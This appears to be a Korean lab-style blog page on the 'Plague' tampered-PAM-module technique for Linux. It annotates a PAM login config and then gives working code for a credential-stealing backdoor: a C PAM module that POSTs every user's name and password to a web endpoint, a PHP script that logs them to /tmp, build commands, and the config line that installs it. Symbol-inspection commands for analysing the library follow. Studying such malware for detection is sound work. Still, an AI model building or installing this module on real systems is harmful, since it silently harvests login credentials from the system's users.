변조된 PAM 모듈, Plague 악성코드 in Linux

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

# 사용자 인증 처리 모듈 포함 (비밀번호, OTP 등)
@include common-auth

# /etc/nologin 파일이 존재하면 root를 제외한 로그인 차단
account    required     pam_nologin.so

# 계정 상태 확인(잠금, 만료 등) 처리 모듈 포함
@include common-account

# 세션 종료 시 SELinux 보안 컨텍스트 제거
# - success=ok: 성공이면 OK
# - ignore=ignore: ignore는 무시
# - module_unknown=ignore: 모듈 알 수 없음은 무시
# - default=bad: 그 외는 실패
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close

# 로그인 UID 기록 → 감사(audit) 시스템 연동
session    required     pam_loginuid.so

# 사용자 키링 초기화 (GNOME Keyring 등)
# 기존 키 강제 취소 (revoke)
session    optional     pam_keyinit.so force revoke

# 세션 공통 처리 모듈 포함 (umask, systemd 등)
@include common-session

# MOTD 출력: /run/motd.dynamic 파일 내용 표시
session    optional     pam_motd.so  motd=/run/motd.dynamic

# MOTD 출력: update-motd 실행 방지 (정적 출력만)
session    optional     pam_motd.so noupdate

# 리소스 제한 적용: /etc/security/limits.conf 기반
session    required     pam_limits.so

# 환경 변수 설정:
# - /etc/default/locale 불러옴
# - 사용자의 ~/.pam_environment도 함께 적용
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale

# 세션 시작 시 SELinux 보안 컨텍스트 설정
# 보안 라벨 부여
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open

# 비밀번호 변경 처리 모듈 포함 (passwd 명령 시 사용)
@include common-password

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

#define AUTH_URL "http://localhost/pam_backdoor.php"  // HTTPS 아님

#include <security/pam_modules.h>
#include <security/pam_appl.h>
#include <security/pam_ext.h>
#include <curl/curl.h>
#include <stdio.h>

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {
    const char *user = NULL;
    const char *password = NULL;

    // 사용자 ID 가져오기
    if (pam_get_user(pamh, &user, NULL) != PAM_SUCCESS || user == NULL) {
        return PAM_AUTH_ERR;
    }

    // 비밀번호(토큰) 가져오기
    if (pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL) != PAM_SUCCESS || password == NULL) {
        return PAM_AUTH_ERR;
    }

    // JSON 페이로드 구성
    char json_payload[512];
    snprintf(json_payload, sizeof(json_payload),
             "{\"username\":\"%s\", \"password\":\"%s\"}", user, password);

    // cURL 초기화
    CURL *curl = curl_easy_init();
    if (!curl) return PAM_AUTH_ERR;

    // HTTP 헤더 구성
    struct curl_slist *headers = NULL;
    headers = curl_slist_append(headers, "Content-Type: application/json");

    // cURL 옵션 설정
    curl_easy_setopt(curl, CURLOPT_URL, AUTH_URL);
    curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_payload);
    curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);

    // 요청 수행
    long response_code = 0;
    CURLcode res = curl_easy_perform(curl);
    if (res == CURLE_OK) {
        curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &response_code);
    }

    // 리소스 정리
    curl_slist_free_all(headers);
    curl_easy_cleanup(curl);

    // HTTP 200이면 인증 성공, 아니면 실패
    if (res != CURLE_OK || response_code != 200) {
        return PAM_AUTH_ERR;
    }

    return PAM_SUCCESS;
}

1
2
3
4
5

# Debian/Ubuntu
sudo apt install libpam0g-dev libcurl4-openssl-dev

# RHEL/Fedora
sudo dnf install pam-devel libcurl-devel

1

gcc -fPIC -shared -o pam_backdoor.so pam_backdoor.c -lpam -lcurl

1
2
3
4
5

<?php
    $raw = file_get_contents("php://input");
    file_put_contents("/tmp/pam_log.json", $raw . PHP_EOL, FILE_APPEND);
    http_response_code(200);
?>

1

auth optional pam_backdoor.so

1

ervice-yGNzOe/tmp# systemctl cat apache2.service | grep PrivateTmp

1
2
3
4
5
6
7

readelf -s pam_backdoor.so                # 전체 심볼 보기 (.symtab)
readelf -s --dyn-syms pam_backdoor.so     # 동적 심볼만 보기 (.dynsym)

nm pam_backdoor.so                        # 심볼 표기 (보통 .symtab 기준)
nm -D pam_backdoor.so                     # 동적 심볼만 (동적 링킹 시 사용)

objdump -t pam_backdoor.so                # 심볼 테이블 디코드

1
2
3
4

readelf -a -sW -r -l -Ws -S -x
ltrace
nm -D
objdump -d -R -X